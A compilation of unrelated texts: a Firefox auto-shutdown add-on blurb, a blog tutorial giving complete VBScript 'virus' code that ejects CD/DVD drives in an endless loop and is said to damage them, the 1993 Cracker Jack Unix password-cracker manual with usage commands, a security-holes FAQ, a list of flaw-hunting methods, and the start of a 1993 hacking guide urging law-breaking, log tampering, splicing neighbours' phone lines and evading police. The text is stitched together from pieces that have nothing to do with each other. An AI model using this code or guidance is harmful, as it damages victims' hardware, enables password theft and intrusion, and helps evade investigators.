How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Virus That Ejects your CD/Dvd Drive Again and Again.

Try at your own risk. I am not responsible for your own deeds. For educational purpose only.

In this blog i will show you how to create a Virus That Ejects your CD/Dvd Drive Again and Again.. Its not a prank… This Can Damage your CD/Dvd Drive…

Here is the code:

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Write this code in notepad and save it as anything.vbs
Virus created. Now you just need to click it and Enjoy….

Documentation for Cracker Jack, THE Unix Password Cracker (June 1993)

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³                Cracker Jack, THE Unix Password Cracker                     ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

June 1993        Doc's for Cracker Jack v 1.4

DISCLAIMER
==========
The copyright of this software is owned by the author, Jackal.
Please feel free to make copies and share them with your friends.
I can under no circumstances be held responsible for any consequences
of your use/misuse of this package, whatever that may be (system crash,
you going to jail, world war, etc..). Nor can I guarantee any functionality,
just take it or leave it.

What is Cracker Jack?
=====================
Cracker Jack is a Unix password checker/cracker, running on PC's.
As humble as I am, I don't think you'll find other Unix password
crackers for PC's, who will beat it in speed (if you do, I'll appreciate
if you let me know).
It is currently available in 2 versions (for 8086/88 and 80386.
I've dropped the 286 version, it wasn't significantly faster than
the 8086 version).
The 386 version is far faster than the other, please use that, if
you have a 386 or 486 CPU. Besides, the 386 version has no 640 kb limit,
so you can load a lot more accounts. The 386 version also runs under
OS/2 v. 2.0.
(Special versions for 486 and 586/Pentium might be available in the future.
Likewise, I might port it to other CPU's on other O/S'es than DOS and
OS/2, but don't count on it).

What's new in Cracker Jack 1.4?
===============================
I finally got that Borland C++ v 3.1, but I'm rather disappointed,
'coz in the meantime I've got hold on the GNU C compiler - IT'S GREAT!
After porting Jack to this compiler, it runs about 8% faster, at least
on my PC. I believe, however, that the speed increase is varying,
depending on your CPU type, cache RAM etc. Anyway, it now runs in
protected mode (and it REQUIRES a 386/486!), so there's no 640 kb limit.
Thanks to the EMX port of GNU C, it also runs under OS/2 2.0.
Furthermore, I've (once again) rearranged the account loading and
sorting algorithm, so there's virtually no startup delay, even when
loading several thousand accounts.

I have included a sort utility, JSORT. It doesn't have the 64 kb limit
as DOS SORT has. Currently it doesn't support single crack wordlists,
but I'm working on that.

JPP can now insert a dot BEFORE the password, with option -dot:0

That's basically it, no real news, but I thought this was worth
releasing.

What's new in Cracker Jack 1.3
==============================
- Rearranged and optimized the account loading/checking routines, thus
  gaining faster loading and space for more accounts per session.
- Added the -noname switch, which prevents Jack from loading the login
  names into memory, and thus lets you load even more accounts per
  session. The more accounts, the more comparisons/second.
- In single crack mode, it now checks ALL the accounts with
  same salts as the account being processed. This takes almost no extra
  time, so why not do it? It has given ME some accounts. :)
- It now checks the keyboard for Ctrl-C, so you don't have to wait eras
  when you wanna abort the session.
- Status is now only showed when you press a key (and on exit), so you get a
  bigger chance of seeing cracked passwords, before they scroll off the screen.
- It is now possible to restore an aborted single crack session.

Jackal's future plans:
- Fix JSORT to support single crack wordlists
- Implement password generator
- Add 'free crack' option to load accounts with same salts from other
  pwfiles (and/or same pwfile when using the -u option)
- Implement more options into JPP.
- Possibly implement the features of JPP into Jack itself, to avoid the
  need of lot of harddisk space for the DOS pipe, especially when you
  use -gecos:8
- Improve the docs

Files in the archive
====================
The following files are included in the archive:

JACK.EXE        Cracker Jack
JPP.EXE         Jack PreProcessor, manipulates words
JACKPOT.EXE     Shows you the passwords cracked so far
XTRACT.EXE      Extracts words from any file
JSORT.EXE       Sorts standard wordfiles (NOT single crack wordlists!)
JACK14.DOC      Hmmm, what can this be? :)
EMX.EXE         *) EMX runtime/system interface for DOS
EMX.DLL         *) EMX runtime/system interface for OS/2

*) Note: Only included in the 386 version.
	 Beware, that all executables are NOT the same in the 386 
	 version as in the 8086 version, although the names are the 
	 same.

How to use Cracker Jack
=======================
I guess you'll figure it out yourself, but there are some things that
might require a word of explanation.

Jack saves all cracked passwords in a file called JACK.POT, in the same
directory as JACK.EXE. Be aware of this, if you run Jack from a floppy
(who would do that?), don't write protect it.
Jack uses this file to check, if any of the passwords were cracked
previously, and won't try to crack them again. So, please don't delete
this file (it's readonly for the same reason).

JACKPOT.EXE shows you these passwords.
Since this is similar to the "validfile" output in previous versions of
Jack, I have removed this option. Some of you might miss it, but it
requires a lot of core, which I felt could be better used for cracking
more accounts.
JACKPOT.EXE HAS TO BE IN THE SAME DIRECTORY AS JACK.EXE!

With Jack it is possible to crack more than 1 passwd file, without you
have to combine them into one single. You can even use wildcards.

Every 10 minutes (and upon completion), Jack saves point information to
a file (RESTORE, unless you specified another name with the -r option).
In case the system crashes, you don't have to start all over.
But if you interrupt a session and start a new one, the old information
is overwritten. Therefore, always rename the file, if you want to use
it.

The -user option lets you specify the login names or user id's of the
accounts you want to crack. F.ex. -user:0 would load all accounts with
root priv's, whereas -user:root would just load the root account itself.

The single crack option (-single) in JACK is used in conjunction with
the login (-login) and gecos (-gecos:#) options of JPP. F.ex. would
	JPP -gecos:1 -lower pwfile | JACK -stdin -single pwfile
lowercase each word in the gecos fields and try it on the accounts
to whom it belongs AND to other accounts with the same salt.

There is one thing, you have to be aware of, when using single crack
mode; It is not adviced to direct the output from JPP to a file, and
then use this file as input for Jack. Because Jack does not load the
accounts it has cracked previously, the inputfile has to provide
login/gecos words from the UNCRACKED accounts ONLY! Otherwise JACK gets
out of syncronization, and tries the supplied words on the wrong
accounts. In other words, if you have cracked some accounts AFTER the
creation of the inputfile, you have to recreate it with JPP. This is
also the case if you restore a single crack session.
If you always PIPE the output from JPP into Jack, there's no problems.
JPP.EXE HAS TO BE IN THE SAME DIRECTORY AS JACK.EXE!

To illustrate the gecos option of JPP, suppose we have a passwd file
with the following account:

billy:EncrPassword:123:10:Billy The Kid:/usr/billy:/bin/csh

There are 4 levels of gecos manipulation.

    1: Each word
       e.g. "Billy", "The", "Kid"
    2: Combination of any 2 words
       e.g. "BillyThe", "BillyKid", "TheBilly", "TheKid" ,...
    4: Combination of 1 word and up to 2 initials
       e.g. "BillyTK", "BillyKT", "TKBilly", "TBillyK", "BKid" ,...
    8: Combination of substrings of up to 3 words
       e.g. "BiThKid", "BillKi", "BilTheKi", "TheBillyK", "BTK" ,...

Level 1, 2 and 4 can be added together. F.ex. if you want to get level 1
and level 4 in one run, specify -gecos:5.
Level 8 is an outsider; it always includes the other levels as well,
except that the output from level 8 is never more than 8 chars, to cut
down disk usage. Speaking of disk usage, remember to set the DOS TEMP
variable to a disk big enough to store the temporary file, created by
the DOS pipe (|). Preferrably the disk should be cached as well.

The XTRACT program was created for a specific need I had (to retrieve
fancy words from a game).
Usage: XTRACT MYFILE.XXX | SORT | JPP -include > WORDS.XXX
The reason to pipe it through JPP, is that JPP unique's it's output.
Another purpose for it, could be if you just had a couple of words
to pass to Cracker Jack, but didn't want to create a wordfile:
ECHO secret abc123 haleluja password | XTRACT | JACK -stdin pwfile

Known bugs/restrictions
=======================
You cannot specify more than one wordfile to JACK (although you
can to JPP)

You cannot use spaces in the parameters to JPP, but since only
the 7 lower bits of each char in the password is used, you can
use char # 160 (  = AltGr+1+6+0) instead. e.g:
JPP -gecos:4 -dot:1 pwfile | JPP -translate:.  | JACK -stdin -single pwfile

JSORT doesn't support single crack wordlists yet. In these wordlists,
generated by JPP's -login or -gecos options, there are some strings,
"***!***", which tells Jack to switch to the next salt. JSORT doesn't
recognise this string as anything special, and just treats it as a normal
input line.

................

Have phun, Jackal.

Contacting the author / How to get help / Dist. site
====================================================
The official distribution site for CrackerJack is Freeside, +45-3-122-3119.
Here you may contact the author, as well as obtain the latest version.

Zephyr, Freeside Sysop.

How Security Holes Manifest Themselves

( Please contribute by sending E-Mail to <scott@santafe.edu> ... )

[quoting from the comp.security.unix FAQ]
Security holes manifest themselves in (broadly) four ways:

1) Physical Security Holes.

- Where the potential problem is caused by giving unauthorised persons
physical access to the machine, where this might allow them to perform
things that they shouldn't be able to do.

A good example of this would be a public workstation room where it would
be trivial for a user to reboot a machine into single-user mode and muck
around with the workstation filestore, if precautions are not taken.

Another example of this is the need to restrict access to confidential
backup tapes, which may (otherwise) be read by any user with access to
the tapes and a tape drive, whether they are meant to have permission or
not.

2) Software Security Holes

- Where the problem is caused by badly written items of "privledged"
software (daemons, cronjobs) which can be compromised into doing things
which they shouldn't oughta.

The most famous example of this is the "sendmail debug" hole (see
bibliography) which would enable a cracker to bootstrap a "root" shell.
This could be used to delete your filestore, create a new account, copy
your password file, anything.

(Contrary to popular opinion, crack attacks via sendmail were not just
restricted to the infamous "Internet Worm" - any cracker could do this
by using "telnet" to port 25 on the target machine.  The story behind a
similar hole (this time in the EMACS "move-mail" software) is described
in [Stoll].)

New holes like this appear all the time, and your best hopes are to:

  a: try to structure your system so that as little software as possible
  runs with root/daemon/bin privileges, and that which does is known to
  be robust.

  b: subscribe to a mailing list which can get details of problems
  and/or fixes out to you as quickly as possible, and then ACT when you
  receive information.

>From: Wes Morgan <morgan@edu.uky.ms>
>
> c: When installing/upgrading a given system, try to install/enable only
> those software packages for which you have an immediate or foreseeable
> need.  Many packages include daemons or utilities which can reveal
> information to outsiders.  For instance, AT&T System V Unix' accounting
> package includes acctcom(1), which will (by default) allow any user to
> review the daily accounting data for any other user.  Many TCP/IP packa-
> ges automatically install/run programs such as rwhod, fingerd, and
> <occasionally> tftpd, all of which can present security problems.
>
> Careful system administration is the solution.  Most of these programs
> are initialized/started at boot time; you may wish to modify your boot
> scripts (usually in the /etc, /etc/rc, /etc/rcX.d directories) to pre-
> vent their execution.  You may wish to remove some utilities completely.
> For some utilities, a simple chmod(1) can prevent access from unauthorized
> users.
>
> In summary, DON'T TRUST INSTALLATION SCRIPTS/PROGRAMS!  Such facilities
> tend to install/run everything in the package without asking you.  Most
> installation documentation includes lists of "the programs included in
> this package"; be sure to review it.

3) Incompatible Usage Security Holes

- Where, through lack of experience, or no fault of his/her own, the
System Manager assembles a combination of hardware and software which
when used as a system is seriously flawed from a security point of view.
It is the incompatibility of trying to do two unconnected but useful
things which creates the security hole.

Problems like this are a pain to find once a system is set up and
running, so it is better to build your system with them in mind.  It's
never too late to have a rethink, though.

Some examples are detailed below; let's not go into them here, it would
only spoil the surprise.

4) Choosing a suitable security philosophy and maintaining it.

>From: Gene Spafford <spaf@cs.purdue.edu>
>The fourth kind of security problem is one of perception and
>understanding.  Perfect software, protected hardware, and compatible
>components don't work unless you have selected an appropriate security
>policy and turned on the parts of your system that enforce it.  Having
>the best password mechanism in the world is worthless if your users
>think that their login name backwards is a good password! Security is
>relative to a policy (or set of policies) and the operation of a system
>in conformance with that policy.

---

From: Hacking
Subject: Hacking Ideas
Date: 11/10/93

( Please contribute by sending E-Mail to <scott@santafe.edu> ... )

[ Many ideas taken from: HaxNet - APG V1.3 : Guide to finding new holes]

NOTE: I think this should be divided into general categories:
1) General principles
2) Looking for holes in src (most items here)
3) Looking in binary distributions
4) Looking in site specific configurations

  The following general classifications suggest themselves:
1) SUID/SGID
2) Return codes/error conditions
3) unexpected input
4) race conditions
5) authentication
6) implicit trust
7) parameters
8) permissions
9) interrupts
10) I/O
11) symbolic links
12) Daemons, particularly those taking user input.
13) Kernel race conditions
14) what else? - please add categories

(Suggested splitting of above into main and sub-catagories)
I:   Suid binaries and scripts
     unexpected user interactions
     flawed liberary calls
     implicit assumptions of external conditions (sym links, loc. paths)
     race conditions
II:  daemons running with priviliged uid's
     race conditions
     poor file protectons
     implicit file protections
     trust
     authentication
III: Kernel problems
     Kernel race conditions
     device driver code

The following four step method was created by System Development
Corporation, who report a 65% success rate on the flaw hypotheses
generated.  Doing a comprehensive search for operating system flaws
requires four steps:

Step 1) Knowledge of system control structure.
===============================================
  To find security holes, and identifying design weaknesses it is
necessary to understand the system control structure, and layers.
  One should be able to list the:
A) security objects: items to be protected. ie: a users file.
B) control objects: items that protect security objects. ie: a i-node
C) mutual objects  : objects in both classes. ie: the password file
  With such a list, it is possible to graphically represent a control
hierarchy and identify potential points of attack. Making flow charts
to give a visual breakdown of relationships definitely helps.
  Reading the various users, operators, and administrators manuals should
provide this information.
(following para's should probably be moved to a "legal" section)
  Reading and greping source code should also prove valuable. For those
without a source licence, I would suggest we use LINUX, NET2, and BSD386
distributions in order to stay legal. At some future time we may be able
to form a working contract between someone or a company with legal access
to other distributions and members actively participating in this project.
  It appears that extracts of proprietary code may be used for academic
study, so long as they are not reused in a commercial product - more
checking is necessary though.

Step 2) Generate an inventory of suspected flaws. (i.e. flaw hypotheses)
========================================================================
In particular we want:
  Code history:
    What UNIX src does a particular flavor derive from? This is important
for cross references (very often only one vendor patches certain code,
which may get reused, in it's unpatched reincarnation by others)
  A solid cross reference:
    Who checked which bug in what OS and what version prevents us from
duplicating work.

  A good start would be listing all the suid binaries on the various OS
flavors/versions. Then try to work out why each program is suid. i.e.:
    rcp is suid root because it must use a privilaged port to do user
    name authentication.
  Often code that was never designed to be suid, is made suid, durring
porting to solve file access problems.
  We need to develope a data base that will be able to look at pairs and
triplets of data, specificly: program name, suid, sgid, object accessed
(why prog is suid/sgid), OS flavor/version, and flav/vers geniology.
  Any sugestions on how to implement such a DB?

Step 3) Confirm hypotheses. (test and exploit flaws)
====================================================

Step 4) Make generalizations of the underlying system weaknesses, for
        which the flaw represents a specific instance.
=====================================================================

Tool Box:
=========
AGREP: I suggest everyone obtain, and install agrep from:
    ftp cs.arizona.edu /agrep/agrep.tar.Z
  Agrep supports "windowing" so it can look for routines, and subroutines.
It also supports logical operators and is thus ideally suited to automating
the search for many of the following flaws. i.e. <psudocode>
      agrep WINDOW {suid() NOT taintperl()} /usr/local/*.pl
or    agrep WINDOW {[suid() OR sgid()] AND [system() OR popen() OR execlp()
            OR execvp()]} /usr/local/src/*.c

PERMUTATION PROGRAM: Another tool worth producing is a program to generate
all possible permutations of command line flags/arguments in order to uncover
undocumented features, and try to produce errors.

TCOV:

CRASH: Posted to USENET (what FTP archive?) (descrip?)

PAPERS: There are several papers that discuss methods of finding flaws, and
  present test suites.
  1) An Emphirical Study of the reliability of UNIX Utilities, by Barton P.
    Miller, Lars Fredriksen, and Bryan So, Comm ACM, v33 n12, pp32-44,
    Dec '90. Describes a test suite for testing random input strings.
    Results indicated that 25% of the programs hung, crashed, or misbehaved.
    In one case the OS crashed. An understanding of buffer and register
    layout on the environment in question, and the expected input is likely
    to produce the desired results.
  2) The Mothra tools set, in Proceedings of the 22nd Hawaii International
    Conference on Systems and Software, pages 275-284, Kona, HI, January '89
  3) Extending Mutation Testing to Find Environmental Bugs, by Eugene H.
    Spafford, Software Practice and Experience, 20(2):181-189, Feb '90
  4) A paper by IBM was mentioned that was submitted to USENIX a few years
    ago. (Anyone have a citation?).

Specific Flaws to Check For:
============================
1) Look for routines that don't do boundary checking, or verify input.
   ie: the gets() family of routines, where it is possible to overwrite
   buffer boundaries. ( sprintf()?, gets(), etc. )
   also: strcpy() which is why most src has:
     #define SCYPYN((a)(b)) strcpy(a, b, sizeof(a))

2) SUID/SGID routines written in one of the shells, instead of C or
   PERL.

3) SUID/SGID routines written in PERL that don't use the "taintperl"
   program.)

4) SUID/SGID routines that use the system(), popen(), execlp(), or
   execvp() calls to run something else.

5) Any program that uses relative path names inside the program.

6) The use of relative path names to specify dynamically linked libraries.
   (look in Makefile).

7) Routines that don't check error return codes from system calls. (ie:
   fork(2), suid(2), etc), setuid() rather, as in the famous rcp bug

8) Holes can often be found in code that:
  A) is ported to a new environment.
  B) receives unexpected input.
  C) interacts with other local software.
  D) accesses system files like passwd, L.sys, etc.
  E) reads input from a publicly writable file/directory.
  F) diagnostic programs which are typically not user-proofed.

9) Test code for unexpected input. Coverage, data flow, and mutation
   testing tools are available.

10) Look in man pages, and users guides for warnings against doing X, and
   try variations of X. Ditto for "bugs" section.

11) Look for seldom used, or unusual functions or commands - read backwards.
   In particular looking for undocumented flags/arguments may prove useful.
   Check flags that were in prior releases, or in other OS versions. Check
   for options that other programs might use. For instance telnet uses -h
   option to login ...
     right, as most login.c's I've seen have:
          if((getuid()) && hflag){
                 syslog()
                 exit()
                 }

12) Look for race conditions.

13) Failure of software to authenticate that it is really communicating
   with the desired software or hardware module it wants to be accessing.

14) Lack or error detection to reset protection mechanisms following an
   error.

15) Poor implementation resulting in, for example, condition codes being
   improperly tested.

16) Implicit trust: Routine B assumes routine A's parameters are correct
   because routine A is a system process.

17) System stores it's data or references user parameters in the users
   address space.

18) Inter process communication: return conditions (passwd OK, illegal
   parameter, segment error, etc) can provide a significant wedge, esp.
   when combined with (17).

19) User parameters may not be adequately checked.

20) Addresses that overlap or refer to system areas.

21) Condition code checks may be omitted.

22) Failure to anticipate unusual or extraordinary parameters.

23) Look for system levels where the modules involved were written by
   different programmers, or groups of programmers - holes are likely
   to be found.

24) Registers that point to the location of a parameters value instead
   of passing the value itself.

25) Any program running with system privileges. (too many progs are given
   uid 0, to facilitate access to certain tables, etc.)

26) Group or world readable temporary files, buffers, etc.

27) Lack of threshold values, and lack of logging/notification once these
   have been triggered.

28) Changing parameters of critical system areas prior to their execution
   by a concurrent process. (race conditions)

29) Inadequate boundary checking at compile time, for example, a user
   may be able to execute machine code disguised as data in a data area.
   (if text and data areas are shared)

30) Improperly handling user generated asynchronous interrupts. Users
   interrupting a process, performing an operation, and either returning
   to continue the process or begin another will frequently leave the
   system in an unprotected state. Partially written files are left open,
   improper writing of protection infraction messages, improper setting
   of protection bits, etc often occur.

31) Code that uses fopen(3) without setting the umask. ( eg: at(1), etc. )
  In general, code that does not reset the real and effective uid before
  forking.

32) Trace is your friend (or truss in SVR4) for helping figure out what
  system calls a program is using.

33) Scan /usr/local fs's closely. Many admins will install software from
  the net. Often you'll find tcpdump, top, nfswatch, ... suid'd root for
  their ease of use.

34) Check suid programs to see if they are the ones originally put on the
  system. Admins will sometimes put in a passwd replacement which is less
  secure than the distributed version.

35) Look for programs that were there to install software or loadable
  kernel modules.

36) Dynamically linked programs in general. Remember LD_PRELOAD, I think
  that was the variable.

37) I/O channel programming is a prime target. Look for logical errors,
  inconsistencies, and omissions.

38) See if it's possible for a I/O channel program to modify itself, loop
  back, and then execute the newly modified code. (instruction pre-load
  may screw this up)

39) If I/O channels act as independent processors they may have unlimited
  access to memory, thus system code may be modified in memory prior to
  execution.

40) Look for bugs requiring flaws in multiple pieces of software, i.e. say
  program a can be used to change config file /etc/a now program b assumes
  the information in a to be correct and this leads to unexpected results
  (just look at how many programs trust /etc/utmp)

41) Any program, especially those suid/sgid, that allow shell escapes.

The Neophyte’s Guide to Hacking, 1993 Edition Version 1.2 by Deicide (October 23, 1993)

------------------------------------------------------------------------------
         %%%%%%%%%%%%%%%%%%%%%%%%%%%%-%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
         %                                                        %
         %            THE NEOPHYTE'S GUIDE TO HACKING             %
         %            ===============================             %
         %                      1993 Edition                      %
         %                 Completed on 08/28/93                  %
         %           Modification 1.1 Done on 10/10/93            %
         %           Modification 1.2 Done on 10/23/93            %
         %                          by                            %
         %%                >>>>>  Deicide  <<<<<                 %%
         %%%                                                    %%%
         %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

     <   The author of this file grants permission to reproduce and   >
     <   redistribute this file in any way the reader sees fit,       >
     <   including the inclusion of this file in newsletters of any   >
     <   media, provided the file is kept whole and complete,         >
     <   without any modifications, deletions or ommissions.          >
     <   (c) 1993, Deicide                                            >

TABLE OF CONTENTS
=================

1. INTRODUCTION

2. ETHICS/SAFETY

3. WHERE TO START

4. PACKET-SWITCHED NETWORKS
    A. Intro to PSNs
    B. How packet-switching works
    C. The Internet
        1. Introduction
        2. Getting access
        3. FTP
    D. X.25 Networks
        1. NUAs
        2. PADs & NUIs
        3. CUGs
        4. SprintNet
        5. BT Tymnet
        6. Datapac
        7. DNIC List

5. SYSTEM PENETRATION
    A. Unix
    B. VMS
    C. MPE (HP3000 mainframes)
    D. VM/CMS
    E. Primos
    F. TOPS 10/20
    G. IRIS
    H. NOS
    I. DECServer
    J. GS/1
    K. XMUX
    L. Starmaster/PACX
    M. Access 2590
    N. PICK
    O. AOS/VS
    P. RSTS
    Q. WindowsNT
    R. Novell Netware
    S. System75/85
    T. AS400
    U. TSO

6. BRUTE FORCE
    A. Passwords
    B. Usernames
    C. Services

7. SOCIAL ENGINEERING

8. TRASHING

9. ACRONYMS

10. CONCLUSION
    A. Last words
    B. Recommended Reading
    C. BBSes
    D. References
    E. And finally..
    F. Disclaimer

INTRODUCTION:
============
------------

    Over four years ago the final version of the LOD/H's Novice's Guide to
Hacking was created and distributed, and during the years since it has 
served
as a much needed source of knowledge for the many hackers just beginning to
explore the wonders of system penetration and exploration.
    The guide was much needed by the throng of newbies who hadn't the
slightest clue what a VAX was, but were eager to learn the arcane art of
hacking. Many of today's greats and moderates alike relied the guide as a
valuable reference during their tentative(or not) steps into the nets.
    However, time has taken it's toll on the silicon networks and the guide 
is
now a tad out of date. The basic manufacturer defaults are now usually 
secured
, and more operating systems have come on the scene to take a large chunk of
the OS percentile. In over four years not one good attempt at a sequel has
been made, for reasons unbeknownst to me.
    So, I decided to take it upon myself to create my own guide to hacking..
the "Neophyte's Guide to Hacking" (hey..no laughing!) in the hopes that it
might help others in furthering their explorations of the nets.
    This guide is modelled after the original, mainly due to the fact that 
the
original *was* good. New sections have been added, and old sections expanded
upon. However, this is in no means just an update, it is an entirely new 
guide
as you'll see by the difference in size. This guide turned out to be over 4
times the size of The Mentor's guide.
    Also, this guide is NOT an actual "sequel" to the original; it is not
LOD/H sponsored or authorized or whatever, mainly because the LOD/H is now
extinct.
    One last thing.. this guide is in no way complete. There are many OS's I
did not include, the main reasons being their rarity or my non-expertise 
with
them. All the major OS's are covered, but in future releases I wish to 
include
Wang, MVS, CICS, SimVTAM, Qinter, IMS, VOS, and many more. If you
feel you could help, contact me by Internet email or on a board or net(if 
you
can find me). Same thing applies for further expansion of current topics and
operating systems, please contact me.
    Ok, a rather long intro, but fuck it.. enjoy as you wish..
        Deicide - deicide@west.darkside.com

ETHICS/SAFETY:
=============
-------------

    One of the most integral parts of a hacker's mindset is his set of 
ethics.
And ethics frequently go hand in hand with safety, which is obviously the 
most
critical part of the process of hacking and the system exploration, if you
plan to spend your life outside of the gaol.
    A hacker's ethics are generally somewhat different from that of an 
average
joe. An average joe would be taught that it is bad to break laws, even 
though
most do anyways. I am encouraging you to break laws, but in the quest for
knowledge. In my mind, if hacking is done with the right intentions it is 
not
all that criminal. The media likes to make us out to be psychotic sociopaths
bent on causing armageddon with our PCs. Not likely. I could probably turn 
the
tables on the fearmongering media by showing that the average joe who cheats
on his taxes is harming the system more than a curious interloper, but I
refrain.. let them wallow..
    The one thing a hacker must never do is maliciously hack(also known
as crash, trash, etc..) a system. Deleting and modifying files unnecessary 
is
BAD. It serves no purpose but to send the sysadmins on a warhunt for your 
head
, and to take away your account. Lame. Don't do it.
    Anyways, if you don't understand all of these, just do your best to 
follow
them, and take my word for it. You'll understand the reasoning behind these
guidelines later.

I.    Don't ever maliciously hack a system. Do not delete or modify files
      unnecessarily, or intentionally slow down or crash a system.
      The lone exception to this rule is the modification of system logs and
      audit trails to hide your tracks.

II.   Don't give your name or real phone number to ANYONE, it doesn't matter
      who they are. Some of the most famous phreaks have turned narcs 
because
      they've been busted, and they will turn you in if you give them a
      chance. It's been said that one out of every three hackers is a fed, 
and
      while this is an exaggeration, use this as a rule and you should do
      fine. Meet them on a loop, alliance, bbs, chat system, whatever, just
      don't give out your voice number.

III.  Stay away from government computers. You will find out very fast that
      attempting to hack a MilTac installation is next to impossible, and 
will
      get you arrested before you can say "oh shit". Big Brother has 
infinite
      resources to draw on, and has all the time it needs to hunt you down.
      They will spend literally years tracking you down. As tempting as it 
may
      be, don't rush into it, you'll regret it in the end.

IV.   Don't use codes from your own home, ever! Period. This is the most
      incredibly lame thing i've seen throughout my life in the 
'underground';
      incredible abuse of codes, which has been the downfall of so many 
people.
      Most PBX/950/800s have ANI, and using them will eventually get you
      busted, without question. And calling cards are an even worse idea.
      Codes are a form of pseudo-phreaking which have nothing to do with the
      exploration of the telephone networks, which is what phreaking is 
about.
      If you are too lazy to field phreak or be inventive, then forget about
      phreaking.

V.    Don't incriminate others, no matter how bad you hate them. Turning in
      people over a dispute is a terrible way to solve things; kick their 
ass,
      shut off their phones/power/water, whatever, just don't bust them.
      It will come back to you in the end..

VI.   Watch what you post. Don't post accounts or codes over open nets as a
      rule. They will die within days, and you will lose your new treasure.
      And the posting of credit card numbers is indeed a criminal offense
      under a law passed in the Reagan years.

VII.  Don't card items. This is actually a worse idea than using codes, the
      chances of getting busted are very high.

VIII. If for some reason you have to use codes, use your own, and nothing
      else. Never use a code you see on a board, because chances are it has
      been abused beyond belief and it is already being monitored.

IX.   Feel free to ask questions, but keep them within reason. People won't
      always be willing to hand out rare accounts, and if this is the case
      don't be surprised. Keep the questions technical as a rule. Try and
      learn as much as you can from pure hands on experience

X.    And finally, be somewhat paranoid. Use PGP to encrypt your files, keep
      your notes/printouts stored secretly, whatever you can do to prolong
      your stay in the h/p world.

XI.   If you get busted, don't tell the authorities ANYTHING. Refuse to 
speak
      to them without a lawyer present.

XII.  If police arrive at your residence to serve a search warrant, look it
      over carefully, it is your right. Know what they can and can't do, and
      if they can't do something, make sure they don't.

XIII. If at all possible, try not to hack off your own phoneline. Splice 
your
      neighbour's line, call from a Fortress Fone, phreak off a junction 
box,
      whatever..  if you hack long enough, chances are one day you'll be
      traced or ANI'd.
      Don't believe you are entirely safe on packet-switched networks 
either,
      it takes a while but if you scan/hack off your local access point they
      will put a trace on it.

XIV.  Make the tracking of yourself as difficult as possible for others.
      Bounce the call off several outdials, or try to go through at least 
two
      different telco companies when making a call to a dialup.
      When on a packet-switched network or a local or wide area network,
      try and bounce the call off various pads or through other networks
      before you reach your destination. The more bounces, the more red tape
      for the investigator and the easier it is for you to make a clean
      getaway.
      Try not to stay on any system for *too* long, and alternate your 
calling
      times and dates.

XV.   Do not keep written notes! Keep all information on computer, encrypted
      with PGP or another military-standard encryption program.
      Written notes will only serve to incriminate you in a court of law.
      If you write something down originally, shred the paper.. itty bitty
      pieces is best, or even better, burn it! Feds DO trash, just like us,
      and throwing out your notes complete will land in their hands, and
      they'll use it against you.

XVI.  Finally, the day/night calling controversy. Some folks think it is a
      better idea to call during the day(or whenever the user would normally
      use his account) as to not arouse the sysadmin's suspicion of abnormal
      calling times, while others think it is better to call when nobody is
      around.
      This is a tough one, as there is no real answer. If the sysadmin keeps
      logs(and reads over them) he will definetly think it strange that a
      secretary calls in at 3 am.. he will probably then look closer and 
find
      it even stranger that the secretary then grabbed the password file and
      proceeded to set him/herself up with a root shell.
      On the other hand, if you call during the time the user would normally
      call, the real owner of the account may very well log in to see his
      name already there, or even worse be denied access because his account
      is already in use.
      In the end, it is down to your opinion.
      And remember, when you make a decision stick to it; remember the time
      zone changes.

WHERE TO START
==============
--------------

    Probably the hardest period in hacking is that of when you are first
starting. Finding and penetrating your first system is a major step, and can
be approached in many ways. The common ways to find a system to hack are;

    - UNIVERSITIES    : Universities commonly have hundreds of users, many 
of
                        which aren't too computer literate, which makes
                        hacking a relatively simple chore. And security is
                        often poor, so if you don't abuse the system too 
much
                        your stay could be a long one.
                        On the other hand, for a nominal fee you can usually
                        pick up a cheap *legitimate* (now there's a concept)
                        account. Or you could enroll in the university for
                        a few credits, and just go until the accounts are
                        handed out. Unfortunely, if you are caught hacking
                        off your own account it won't be hard to trace it
                        back to you. If you get a legimate account at first,
                        you might be best to hack a student's account for 
your
                        other-system hacking.
                        The other fun part about universities is often they
                        will provide access to a number of nets, usually
                        including the Internet.
                        Occasionally you'll have access to a PSN as well.

    - CARRIER SCANNING: Carrier scanning in your LATA(Local Access Transport
                        Area), commonly known as wardialing, was popularized
                        in the movie War Games.
                        Unfortunely, there are a few problems inherent in
                        finding systems this way; you are limited to the
                        systems in your area, so if you have a small town 
you
                        may find very little of interest, and secondly,
                        ANI is a problem within your own LATA, and tracing 
is
                        simple, making security risks high. If you are going
                        to hack a system within your own lata, bounce it at
                        least once.
                        There are many programs, such as ToneLoc and 
CodeThief
